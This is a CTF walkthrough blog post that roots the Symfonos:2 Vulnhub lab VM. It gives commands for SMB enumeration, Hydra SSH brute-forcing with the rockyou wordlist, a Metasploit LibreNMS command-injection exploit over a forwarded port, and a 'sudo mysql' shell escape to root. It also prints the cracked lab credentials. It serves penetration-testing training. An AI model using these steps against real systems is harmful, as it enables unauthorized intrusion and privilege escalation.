CTF Challenges

Symfonos:2 Vulnhub Walkthrough

Today we are going to take another CTF challenge from the series of Symfonos. The credit for making this VM machine goes to “Zayotic” and it is another boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM here.

Security Level: Intermediate

Penetrating Methodology:

  1. Scanning
  • NMAP
  1. Enumeration
  • Enum4Linux
  1. Exploitation
  • Smbclient
  • Hydra
  • Msfconsole
  1. Privilege Escalation
  • Exploiting Sudo rights



Let’s start off with the scanning process. This target VM took the IP address of automatically from our local wifi network.

Then we used Nmap for port enumeration. We found that port 21,22, 80,139 and 445 are open.

nmap –A


As port 80 is open, we tried to open the IP address in our browser but we didn’t find anything useful on the webpage. We also tried dirb and other directory brute-forcing tools but couldn’t find anything.

For further enumeration, we used Enum4Linux tool and found some useful information. We found a shared directory named anonymous.

To confirm our finding we took the help of smbclient with an empty password to list the shared resources of the target machine and got the same result.

Inside the anonymous directory, there is another directory named backups. Inside the backups directory, we got a log.txt file. So we downloaded the same file with get command.

smbclient –L
smbclient //
cd backups
get log.txt

After opening the log.txt file in our local machine we got a username aeolus.


So far we have got a username aeolus, so we tried to bruteforce it with hydra and after a long wait we successfully got a password sergiotaemo.

hydra –l aeolus –P /usr/share/wordlists/rockyou.txt ssh

Now we have a username and a password and we already know that there ssh service running on the target machine. We tried to ssh login the target using msfconsole and were successfully able to do so.

use auxiliary/scanner/ssh/ssh_login
set rhosts
set username aeolus
set password sergiotaemo

From the ifconfig command, we got a little hint that the target machine is listening on the localhost IP only.

So we used netstat command to check for the IP address and ports the target machine is listening on and found that web service (8080) is allowed for localhost only.

So what we did is we used port forwarding to access the port 8080 of the target.

portfwd add -l 1234 –p 8080 –r

After that, we were able to access the web service running on port 8080. On the webpage, we found it is running a LibreNMS web application.

We searched for any exploit available for the LibreNMS application in Metasploit and found one command injection exploit available.

Using this exploit we were able to get a meterpreter session of the user LibreNMS.

use exploit/linux/http/libre_addhost_cmd_inject
set rhosts
set rport 1234
set lhost
set username aeolus
set password sergiotaemo

Privilege Escalation:

To get to the root shell we checked for the sudoer permissions for the librenms user and found that this user can run mysql command with no password. So we leveraged this to our advantage and run /bin/sh to get the root shell.

Once we got the root shell we traversed to the root directory and opened the proof.txt file to complete the challenge.

sudo –l
sudo mysql -e '\! /bin/sh'
cd /root
cat proof.txt

Author: Auqib Wani is a Certified Ethical Hacker, Penetration Tester and a Tech Enthusiast with more than 5 years of experience in the field of Network & Cyber Security. Contact Here